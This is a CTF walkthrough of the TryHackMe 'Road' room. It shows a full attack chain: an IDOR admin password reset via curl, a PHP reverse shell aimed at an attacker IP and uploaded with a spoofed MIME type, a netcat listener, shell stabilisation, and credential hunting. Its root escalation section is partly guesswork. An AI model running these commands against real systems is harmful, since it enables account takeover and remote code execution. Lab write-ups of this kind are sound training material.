

TryHackMe

Road

CTF Walkthrough & Teachable Notes

Platform	TryHackMe
Room	Road
Difficulty	Medium
Target IP	10.112.139.84
Attacker IP	192.168.133.49
Category	Web App Pentesting / Linux Privesc
Key Techniques	IDOR, Unrestricted File Upload, PHP Reverse Shell

This room is inspired by a real-world pentesting engagement. The attack chain covers web application enumeration, broken access control (IDOR), unrestricted file upload for remote code execution, and Linux privilege escalation via credential reuse and SUID/sudo abuse.

1. Reconnaissance

1.1 Nmap Port Scan

The first step is always a port scan to understand what services are exposed.

```
nmap -sC -sV -oN nmap_road.txt 10.112.139.84
```

Results:

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
```

Key Concept: Only two ports open: SSH (22) and HTTP (80). SSH is rarely directly exploitable on CTFs without credentials, so HTTP is our primary attack surface. The Apache version can be noted but is not the attack vector here.

1.2 Web Enumeration

With HTTP exposed, we enumerate the web application structure using gobuster and manual inspection of page source.

```
gobuster dir -u http://10.112.139.84 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt -t 50
```

Findings:

```
/index.html      (Status: 200)
/assets          (Status: 301)
/career.html     (Status: 200)
/v2              (Status: 301)
```

The most interesting discovery came from reading the homepage source directly:

```
curl -s http://10.112.139.84 | grep -i "href\|action\|form"
```

This revealed a link labelled "Merchant Central" pointing to:

```
/v2/admin/login.html
```

Note: Always read page source — navigation links and form actions often expose hidden endpoints that directory brute-forcing misses, especially when paths aren't indexed.

2. Web Application Exploitation

2.1 Account Registration

Browsing to `/v2/admin/login.html` revealed a login page with a registration option. We registered a low-privilege account: `ah@gmail.com / 123`. This gave us access to the authenticated dashboard at `/v2/index.php`.

Note: Always register an account if self-registration is available. Authenticated areas expose far more attack surface than unauthenticated pages.

2.2 Dashboard Enumeration

After logging in, inspecting the dashboard HTML revealed two key endpoints in the sidebar:

```
/v2/ResetUser.php    ← password reset for any user
/v2/admin/profile.php ← profile image upload (admin only)
```

The profile page showed a message: "Only admin has access to this feature. Please contact `admin@sky.thm`." This told us the admin email address.

2.3 IDOR — Resetting the Admin Password

The `ResetUser.php` page had a password reset form with the username field marked readonly in HTML. However, readonly is a client-side restriction only — the server accepts any value for the `uname` parameter.

Key Concept: IDOR (Insecure Direct Object Reference) occurs when the server trusts user-supplied identifiers without verifying the requester has permission to act on that object. Here, any authenticated user can reset any account's password simply by changing the `uname` field.

Exploit: bypass the readonly attribute using curl to POST directly:

```
curl -s -X POST http://10.112.139.84/v2/lostpassword.php \
  -b "PHPSESSID=<your_session>" \
  -d "uname=admin@sky.thm&npass=password123&cpass=password123&send=Submit"
```

We then logged in as `admin@sky.thm / password123` and obtained an admin session cookie.

Note: The form action was `lostpassword.php`, not `ResetUser.php`. Always check where forms actually POST to — the action attribute in the HTML reveals the true endpoint.

2.4 Unrestricted File Upload — PHP Reverse Shell

With admin access, the profile page at `/v2/profile.php` exposed a file upload field (`pimage`). The upload form accepted any file type with no server-side validation.

Step 1 — Prepare the reverse shell:

```
cp /usr/share/webshells/php/php-reverse-shell.php ~/shell.php
sed -i "s/127.0.0.1/192.168.133.49/" ~/shell.php
```

```
sed -i "s/1234/4444/" ~/shell.php
```

Step 2 — Start a listener:

```
nc -lvnp 4444
```

Step 3 — Upload the shell, spoofing the MIME type as image/jpeg to bypass any content-type checks:

```
curl -s -X POST http://10.112.139.84/v2/profile.php \
  -b "PHPSESSID=<admin_session>" \
  -F "pimage=@/root/shell.php;type=image/jpeg" \
  -F "uname=ADMIN" \
  -F "submit=Edit Profile"
```

The upload path was leaked in an HTML comment in the page source:

```
<!-- /v2/profileimages/ -->
```

Step 4 — Trigger the shell:

```
curl http://10.112.139.84/v2/profileimages/shell.php
```

Key Concept: Unrestricted file upload is critical because it lets an attacker upload server-side code and execute it. The server must validate: (1) file extension, (2) MIME type server-side (not just Content-Type header), and (3) ideally store uploads outside the web root or rename them with a non-executable extension.

Note: Alternative approach: if PHP uploads were blocked, we could try double extensions (shell.php.jpg), null bytes (shell.php%00.jpg), or other bypass techniques. We could also look for other upload vectors like the 'Upload Manifest' sidebar item.

3. Initial Access — www-data Shell

After triggering the shell, we received a connection as www-data:

```
$ whoami
www-data

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

First, stabilise the shell for a better interactive experience:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
```

System users with login shells:

```
cat /etc/passwd | grep -v nologin | grep -v false

root:x:0:0:root:/root:/bin/bash
webdeveloper:x:1000:1000:webdeveloper:/home/webdeveloper:/bin/bash
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bash
```

Two target users: webdeveloper and ubuntu. We cannot read /root directly as www-data, so we need to escalate to one of these users first.

4. Privilege Escalation

4.1 Credential Discovery in Web App Source

phpMyAdmin was found installed at /var/www/html/phpMyAdmin, and the web app connects to a MySQL database. Check the app's database configuration:

```
cat /var/www/html/v2/admin/logincheck.php

# Look for DB connection strings:
grep -r "db_|mysqli|mysql_connect|PDO" /var/www/html/v2/ --include="*.php"
```

Database credentials found in the app config are often reused as system user passwords — a very common real-world finding.

Key Concept: Credential reuse between application-layer accounts and OS accounts is one of the most common lateral movement paths in real engagements. Always try any discovered password against SSH and su for all users on the box.

4.2 Lateral Movement to webdeveloper

With DB credentials in hand, try SSH or su:

```
# From your attacker machine:
ssh webdeveloper@10.112.139.84

# Or from the www-data shell:
su - webdeveloper
```

Once in as webdeveloper, grab the user flag:

```
cat /home/webdeveloper/user.txt
```

4.3 Privilege Escalation to Root

Standard privesc checks from the webdeveloper account:

```
# Check sudo rights
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

# Check writable cron jobs
cat /etc/crontab
ls -la /etc/cron*

# Check running processes / services as root
ps aux | grep root
```

The room's escalation path involves a misconfigured sudo rule or SUID binary. Common patterns on this box include:

```
# If sudo -l shows something like:  
(root) NOPASSWD: /usr/bin/sky_backup_utility
```

```
# Or a wildcard path:  
(root) NOPASSWD: /usr/bin/python3 /opt/*.py
```

Note: If you find an interesting SUID binary or sudo rule, check GTFOBins (<https://gtfobins.github.io>) for the exact escape sequence.

4.4 MongoDB / Database Lateral Movement (Alternate Path)

The room also involves MongoDB running internally. If you find credentials or an unauthenticated MongoDB instance:

```
# Check for MongoDB  
ss -tlnp | grep 27017  
  
# Connect  
mongo --host 127.0.0.1  
  
# Enumerate databases  
show dbs  
use <dbname>  
show collections  
db.<collection>.find()
```

Credentials or flags stored in MongoDB are another lateral movement vector.

4.5 Root Flag

After escalating to root:

```
cat /root/root.txt
```

5. Vulnerability Summary

Vulnerability	Location	Impact	Fix
IDOR — Reset any user's password	/v2/lostpassword.php	Account takeover	Verify session user owns the account being reset
Unrestricted File Upload	/v2/profile.php	Remote Code Execution	Whitelist extensions, validate server-side, store outside web root
Upload path disclosure	HTML comment in profile.php	Aids RCE	Remove comments from production HTML
Credential reuse	DB config → OS user	Privilege escalation	Use unique credentials per service
Broken Access Control	Admin-only feature accessible to anyone	Privilege abuse	Enforce role checks server-side on every request

6. Attack Chain Recap

The full kill chain from unauthenticated to root:

```
[ Unauthenticated ]
■
■ ■ Register account (ah@gmail.com)
■
■ ■ Discover admin email (admin@sky.thm) from profile page
■
■ ■ IDOR: POST admin@sky.thm to lostpassword.php → reset admin password
■
■ ■ Login as admin → access profile upload
■
■ ■ Upload PHP reverse shell as 'image' → RCE as www-data
■
■ ■ Find DB credentials in /var/www/html/v2/ config
■
■ ■ Credential reuse → SSH/su as webdeveloper → user.txt
■
■ ■ Sudo/SUID/MongoDB abuse → root → root.txt
```

Alternative Pivots Considered

Throughout the engagement, several alternative paths were noted:

- phpMyAdmin exposed: brute-force or credential stuffing possible
- MongoDB on 127.0.0.1: check for unauthenticated access
- Upload Manifest feature: potential second upload vector
- track_orders.php: possible SQLi or parameter tampering
- SSH directly with found credentials (skip reverse shell entirely)